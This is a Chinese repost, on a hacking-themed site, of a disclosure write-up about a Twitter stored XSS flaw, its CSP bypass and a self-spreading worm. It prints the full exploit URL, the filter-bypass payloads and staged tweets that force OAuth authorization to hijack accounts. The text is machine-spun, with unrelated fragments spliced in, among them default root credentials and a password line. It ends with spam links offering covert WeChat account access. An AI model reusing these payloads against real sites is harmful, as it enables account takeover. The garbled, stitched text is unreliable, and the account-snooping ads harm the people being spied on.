黑客网站免费:从Twitter的XSS缝隙构造出Twitter XSS Worm

访客4年前黑客文章1211

2018年年中,其时我发现了一个Twitter的存储型XSS缝隙,该缝隙坐落Twitter的犄角角落之处,一般人很难发现。要点在于,后来我又发现,这个存储型XSS缝隙可以被进一步结构构成一个安稳的XSS worm!

XSS Worm介绍
 

XSS Worm(XSS蠕虫)是XSS缝隙运用的终极兵器,也就是把XSS缝隙打形成蠕虫来进行广泛传达感染,安全要挟轻则为“恶作剧”,重则为盗取用户数据或瘫痪 *** 运用。早有2005年的Myspace蠕虫,19岁少年制造的XSS worm在短短几小时之内就经过Myspace空间感染了100万用户;还有2007年的百度空间蠕虫,至百度进行屏蔽防护时,这个XSS worm现已感染了8700多个博客空间。XSS worm对交际网站和大型社区论坛危害性极大。更多信息请参阅 *** 。

开宗明义上XSS Worm Payload
 XSS Worm Payload
 

开宗明义,一来就上该Twitter XSS worm的缝隙运用URL链接(exploit)吧,稍后我们再详解其间的特别之处。在该XSS缝隙修正之前,经过Twitter发布以下URL链接就会创立出一个XSS worm来,它可以在推特圈内从一个账户中传达到另一个账户。该缝隙运用URL(exploit)如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596 mz_start = exe-77427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

经urldecode转化之后的URL链接如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=<<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在Twitter中翻开效果如下:

或许你会猎奇,“怎么或许?,它就是一个简略的URL链接啊!?”,但是,请信任它并不是一个一般的URL链接。它是一个Welcome Message(欢迎音讯)的deeplink,且经过Twitter Card进行加载出现(在Twitter中点击链接加载),如下:

相关知识点

Welcome Message(欢迎音讯):主动弹出的音讯,相似于重视他人微信微博后,他人私信窗口主动弹出的欢迎音讯。https://developer.twitter.com/en/docs/direct-messages/welcome-messages/overview

Deeplink:多用于移动智能终端,字面意思“深度链接”,但实践并非如此,实践目的是,可以经过一个简略的URL链接,翻开APP并直接进入该APP中的内文页,条件是该APP在该手机上已设备,且该APP需求编程支撑该deeplink相关的语法界说。比如可仿制一些 *** 产品及 *** 店铺页的deeplink链接,发送给其他人,他点击链接后,可以经过手机中设备的 *** APP直接进入具体的产品页及店铺页。

Twitter Card:就是在你的推文上加上一段代码链接,经过这种办法展示出更多信息,相似于Pinterest中的rich pin。现在Twitter Card支撑Summary Card,Summary Card with Large Image,photo card,Gallery Card,APP Card,Player Card,Play Card: approve guide,Product Card 8种办法的展示链接。

好了,那么我是怎么发现这个XSS Worm的呢?我们从一开端发现的XSS缝隙说来。

发现开端的XSS缝隙

上述的Twittce Card其实是一个iframe元素,它的展示指向链接为 “https://twitter.com/i/cards/tfw/v1/1114991578353930240“ 。该iframe很明显是根据同源战略(same-origin)而不是沙盒,这意味着我们可以根据DOM同源战略拜访同源网站下的父级页面。

在我们一开端结构的缝隙运用URL链接中,把Payload作为参数”text”的值,如下:

text=<<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在加载出现缝隙运用URL的Twittce Card中,经过检查其间的展示指向链接网页源码可知,这个”text”参数反映在了一个内联 *** ON方针中,并赋值给了”default_composer_text“键值。如下:

 

<script type="text/twitter-cards-serialization">

  {

    "strings": { },

    "card": {

  "viewer_id" : "988260476659404801",

  "is_caps_enabled" : true,

  "forward" : "false",

  "is_logged_in" : true,

  "is_author" : true,

  "language" : "en",

  "card_name" : "25863907当然,除非该用户是root用户,或许现已央求以root用户身份工作。了解指令行的读者或许非常了解sudo开端的指令,而这就是在以root用户身份工作。在桌面用户界面中,当设备程序或其他东西要求获取权限,以进行一些其时用户无权进行(或在没有身份验证的情况下无法进行)的更改时,也会发生相同的情况。这样的比如有许多,比如设备新的辅佐东西、移动或删去用户主文件夹以外的文件夹,或实行需求特权进步的脚本。16:message_me",

  "welcome_message_id" : "988274596427304964",

  "token" : "[redacted]",

  "is_emojify_enabled" : true,

  "scribe_context" : "%7B%7D",

  "is_static_view" : false,

  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>u00A0",

  "recipient_id" : "988260476659404801",

  "card_uri" : "https://t.co/1vVzoyquhh",

  "render_card" : true,

  "tweet_id" : "1114991578353930240",

  "card_url" : "https://t.co/1vVzoyquhh"

},

    "twitter_cldr": false,

    "scribeData": {

      "card_name": "2586390716:message_me",

      "card_url": "https://t.co/1vVzoyquhh"
 

    }

  }

</script>

 

请注意,HTML解析机制发现在开端的<script>后任何地方存在</script>闭合标签,无论是在字符串或谈论或正则表达式中,那么,这种script脚本规模都会到此停止。

在此之前,根据Twitter的安全防护环境、WAF布置和Web运用过滤规矩,我们或许会遇到以下约束或障碍因素:

1、方针体系把单引号和双引号别离转义为 `​’` 和 `”`;

2、HTML的某些灵敏标签被直接过滤掉,如 `a</script>b` 直接被过滤为了`ab`;

3、或者是Payload长度被约束在300个字符内;

4、存在内容安全战略CSP,经过白名单办法来约束某些内联脚本(Inline Scripts)。

起先来看,这些防护战略看似合理,但当我检查HTML标签的剥离动作时,我模糊觉得有些问题。因为这种剥离(去除)字符串中HTML标签的操作不像转义独自的字符,它需求用到HTML解析,HTML解析又经常会犯错(象正则表达式之类的),所以在此,这种HTML标签剥离操作可以深化研讨分析一下。

所以,我立马着手结构了一个非常根本的Payload:`</script><svg onload=alert()>`,之后又结构了这个Payload:`<</<x>/script/test000><</<x>svg onload=alert()></><script>1<x>2`,这个Payload经Twitter的HTML标签剥离操作后,变成了 `</script/test000><svg onload=alert()>`,啊哦,到了这一步,这个也算是个XSS缝隙了,在未持续深挖找到CSP绕过办法前,心急的我就向Twitter安全团队上报了。

Twitter的CSP战略绕过

上报了这个XSS缝隙之后,我又持续研讨Twitter的内容安全战略(CSP),这种网站的CSP可以经过抓包和东西检测出来。有意思的是,Twitter并没有在所有运用服务中布置大局CSP战略,也就是说,一些运用服务有着不一样的CSP战略。Twitter站点(https://twitter.com/)的完好CSP战略如下:

而Twitter Cards的CSP又是和以上完好的CSP不一样,我们在此只挑出Twitter Cards CSP中的script-src部分来看,如下:

 

script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:88等候发起进程结束,你将看到登录屏幕。默许情况下,侵犯性安全性将a) 多层稠浊用户名设置为“root”,将暗码设置为“toor”。运用这些凭据将使你登录。89 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging. *** f1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

 

以上战略关于内行来说,https://*.twimg.com这种通配符约束相对宽松,或许存在被侵犯的危险点。所以,针对CSP战略绕过,结合上述Twitter Cards的 *** ON方针,我们现在需求找到一个坐落twimg.com子域名下的 *** ON途径端点。其实也不难发现,这就是一个:https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

这儿现在的难点是,需求绕过回调验证(callback validation),不能恣意指定其它回调,它只能以`__twttr`前缀开端,否则就会被Twitter阻挠。当然,这也就是说,你不能用如 ‘alert’ 这样的内置办法,可以用`__twttralert`,但或许会被解析以为`undefined`。针对这个办法,之后我就对Twitter的过滤战略做了一些检验,看看它会过滤和放行哪些字符。一测我便发现,正斜杠 ‘/’居然在“callback” 参数中是可行的,也就是说相似 “?callback=__twttr/alert” 这样是可以的,并且这种结构下的恳求会收到以下办法的呼应:

/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

所以现在我们只需找到一种办法,那就是在’window’方针(浏览器翻开窗口)上界说`__twttr`引用,这儿有两种办法来完成:

1、找到一种契合白名单且界说了 `__twttr` 变量的脚本,把它包装到我们的Payload中;

2、将HTML元素的ID特点设置为`__twttr`,这样一来,它就能为’window’方针中的元素创立一个大局引用。

在此,我挑选第2种办法。假设做够这些,现在来看,应该没什么大问题。尽管我们不能在回调参数中注入恣意字符,也就是说,会在JavaScript语法上遭到的约束较多。但请注意,“?callback=__twttr/alert;user_id=12”中的分号并不是回调参数中的一部分,它仅仅查询分隔符,相似于&。但这并不是问题,我最简略的办法就是:们依然可以结构来调用一些我们想要的函数,就比如Same Origin Method Execution侵犯。

总结来看,我们结构的完好Payload效果如下:

1、创立一个有具有ID特点为__twttr的iframe元素, 这个元素经过Twitter Web Intents链接办法指向一条特定推文,这儿我们用 https://twitter.com/intent/retweet?tweet_id=1114986988128624640;

2、绕过CSP战略调用一个同步办法函数,如`alert`,去推延下一个脚本块的实行,直到上面的iframe元素彻底加载实行。当然了,因为语法约束,这个`alert`同步办法函数不会具体地显示出来,其他,我们也不能简略地运用`setTimeout(func)`;

3、再次运用CSP战略绕过,经过提交iframe元素中的表单(form),去触发对某条特定推文的转推操作。

结构XSS worm

作为一个 XSS worm 来说,能进行自我转发是比较抱负的。并且假设没有语法约束,结构XSS worm传达就相对简略。但现在我们只能依托Twitter Web Intents办法来进行转推,这种办法下,需求在转推操作之前就要清晰tweet ID,比较难的就是, tweet IDs并不是接连的,难以预测。所以,这儿就卡住了。

但是,我分析了一个,还有其他两种相对简单的办法来创立XSS Worm的传达态势:

1、“兵器化”结构一系列推文链,每条推文中都包括对前一条推文的转发Payload,这样,只需你点击或转发到其间的一条推文,都将形成对整个推文链的不断转发操作,导致侵犯链中活泼的Twitter账户都会实行这种操作,构成传达感染;

2、在转发推文中参加一些XSS Payload,也会形成更大规模的影响。

当然了,可以把以上两种办法进行归纳运用来进行传达感染,影响就能无限大了。好在这儿,作为检验分析,我们终究结构的exploit中,当“https://twitter.com/intent/retweet?tweet_id=1114986988128624640”页面被受害者转发后,’frames[0].retweet_btn_form.submit‘ 办法对应的随后操作不是持续转发。

这儿,榜首次转发这条exploit推文后,它会立马把它的内容展示在你的Twitter主页中,之后,再次检查这条推文后,它会让你去重视侵犯者的Twitter账户。

深化结构运用 -  运用XSS Worm绑架Twitter用户

XSS Worm除了传达感染,恶作剧之外,还有瘫痪 *** 运用或盗取用户信息的或许。所以,在此,我们根据这个XSS Worm,可以在其间参加一些恶意功用,比如可以经过强制Twitter用户对某些第三方恶意运用进行授权,以此荫蔽盗取受害者身份令牌,且能在Twitter的验证机制“oauth/authorize” 中取得完好账户权限,完成Twitter账户绑架。

为了完成这一点,侵犯者可以在某个iframe元素中加载 “https://twitter.com/oauth/authorize?oauth_token=[token]” 链接,主动提交该链接页面中的验证表单(其间包括如 `oauth_form`的ID特点),就能在随后的身份盗取中起到效果。

终究,根据上述一大堆的传达功用结构,参加这种带有身份盗取功用的荫蔽XSS Worm分阶段工作如下:

1、发送带有下面这个Payload的推文并获取其推文ID:

</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>

2、发送另一条推文并获取其推文ID:

</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>

3、发送第三条推文作为身份盗取绑架的Payload,这条推文归纳了榜首二条推文,并运用到了同一个页面链接中:

</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

一旦Twitter受害者翻开加载第三条推文后,侵犯者操控的第三方恶意运用就能获取受害者的Twitter身份信息,完成账户绑架。要注意的是,”oauth_token”只能被进行一次身份验证,且其有效期非常短。但对一些不懈的侵犯者来说,只需发送许多推文,就能绑架到许多用户权限。

最为重要的是,侵犯者还可以运用改造XSS Worm,逼迫用户在Twitter上加载恣意页面,点击恣意按钮,提交恣意表单等等恶意行为。

缝隙上报进程

2018.4.23   绕过过滤办法的XSS缝隙初报

2018.4.25   缝隙分类处理

2018.4.27   Twitter给出$2,940的奖赏

2018.5.4     XSS缝隙修正

2019.4.7     我上报了CSP绕过缝隙

2019.4.12    考虑到XSS Worm的严重性,我直接给Twitter工程师发了write-up专报

2019.4.12    Twitter要求我待修正后再揭露缝隙

2019.4.22   Twitter修正了CSP绕过缝隙并赞同我进行缝隙揭露

2019.5.2     我对缝隙进行了揭露

*参阅来历:virtuesecurity,clouds编译,转载请注明来自FreeBuf.COM 

黑客网站免费:从Twitter的XSS缝隙构造出Twitter XSS Worm

0x01 简介 } 'CCAlgorithm: ' + this.CCAlgorithm +', ' +从Twitter的XSS漏洞构造出Twitter XSS Worm

黑客网站免费工作时链接器(runtime linker)的运用当我们工作并带入20个“A”时,程序给出[+] Triggering Arbitrary Overwrite print("[*] Compiling ....");

hxxp://note.youdao.com/yws/public/resource/e5b312333e8618e25badf7863ac8de0f/xmlnote/B811A461208843FAB6762B99FEA4965A/172二、智能设备缝隙监测分析案例]>- Run Key Value -黑客网站免费

终究会问询我们,是否要实行插件:1)挂载进程(・。・)接下来就可以在putty或许xshell进行认证了,可以用原本的暗码或许是PIN+OTP进行登陆.9.6.2

halt: / *** in/halte•d≡1 modφ(n)#include 根据2013年至2016年的调查结果,不同版其他Adwind恶意软件被用于针对全球至少443,000名个人用户、商业机构和非商业组织实施侵犯。从Twitter的XSS漏洞构造出Twitter XSS Worm

黑客网站免费ImageLoad 镜像加载[x] Failed: henry.hammond:Password1

  诈骗分子随机向手机用户或在互联网上发送中奖信息。一旦用户拨打“兑奖热线”,诈骗分子即以需先交“个人所得税”、“公证费”、“转账手续费”等种种托言让用户汇款来骗取钱财。

<permission-group 运用X-字符串引用,我们将得到下面的函数。看起来0x004011B0 函数是处理这个难题的要害。黑客网站免费

  不少用户都会觉得闪存盘的加密功用非常费事,但是实践上许多保密的文件都需求经过加密来保证安全性。比如我们日常运用的炒股软件账号暗码、各类名贵金属的生意凭据,都需求进行严峻保护,否则后果不堪设想。

假设指令的输出有差错提示,那就不是pem格式的证书了。

从Twitter的XSS漏洞构造出Twitter XSS Worm

◆本地加密高速缓存来加速加载时间

else关于较小的堆块,运用fastbin来分配。存储开释的fastbin的列表是单向链表,且fastbin不会和其他的堆块融合,故速度较快。malloc_state结构中的fastbin数组共有十个成员,也就是说有10个fastbin单向链表。同一个链表上存储的空闲堆块大小都是相同的。以32位体系为例,这10个链表存储的堆块大小为16bytes到88bytes,以8字节递加(对齐粒度)。但是根据我自己的检验,当堆块大小大于64(0×40)bytes时,这个堆块free后就现已不存在fastbin中了。也就是说10个fastbin list只用了前7个。这儿就没有深究具体的原因了。

[1][2][3][4]黑客接单网

5.打开Win2000的终端,端口为3389(需重启)
本文标题:黑客网站免费:从Twitter的XSS缝隙构造出Twitter XSS Worm

相关文章

三亚自由行攻略有哪些,三亚自由行注意事项!

三亚自由行攻略有哪些,三亚自由行注意事项!

一个是具有热带海滨风景特色的国际旅游城市,又被称为“东方夏威夷”——三亚。是海南省下辖地级市,位于海南岛的最南端,南临南海。 气候条件 :热带海洋性季风气候 著名景点 :亚龙湾、三亚湾、天涯海角、...

介绍公司的软文怎么写(公司发展历程简介范文)

介绍公司的软文怎么写(公司发展历程简介范文)

现代社会是一个资讯发达的社会,互联网又是社会发展的热点,每天都有日新月异的变化或者各种让人瞩目的事件,这一切都是写软文、写心得的好来源,通过关注行业内的焦点新闻、事件,写出自己的感受和评论。 软文营...

ChybikKristof为捷克修道院设计温室风格的凉亭

建筑工作室Chybik + Kristof透露了其在捷克共和国 格里戈尔·孟德尔(Gregor Mendel)发现遗传学的温室位置上的凉亭的设计。温室位于布尔诺的圣托马斯修道院,这是一座建于14世纪的...

怎么做代理赚钱?如何做一个优秀的代理年入百万?

怎么做代理赚钱?如何做一个优秀的代理年入百万?

我个人觉得吧,大家对代理都有一个偏见,就是认为代理就是中间商,中间商就会赚差价,但是我觉得这是失败的代理模式,是旧时代的产物,信息不透明的商场社会,让代理有意拉高价格。所以宰熟客的事情经常发生。...

怎么偷偷登陆身边人微信号,不会被发现

在孩子小的时候,似乎更喜欢黏着妈妈,这是因为妈妈能够给予孩子足够的安全感,而且妈妈也是一直以来陪伴孩子成长的人,但过度黏着不是好事,那么,宝宝粘人只认妈妈怎么办 ?下面友谊长存小编就来说说。 宝宝粘...

花钱找人查微信聊天记录

给你一把飞科智能感应剃须刀,你会怎么展现它的“一碰就来电”?11.11期间,708位抖音达人“大开脑洞”,通过剃须刀贴纸等道具,朋友安利、情侣互动送礼等剧情设置,用有趣、精彩的内容360度种草。在达人...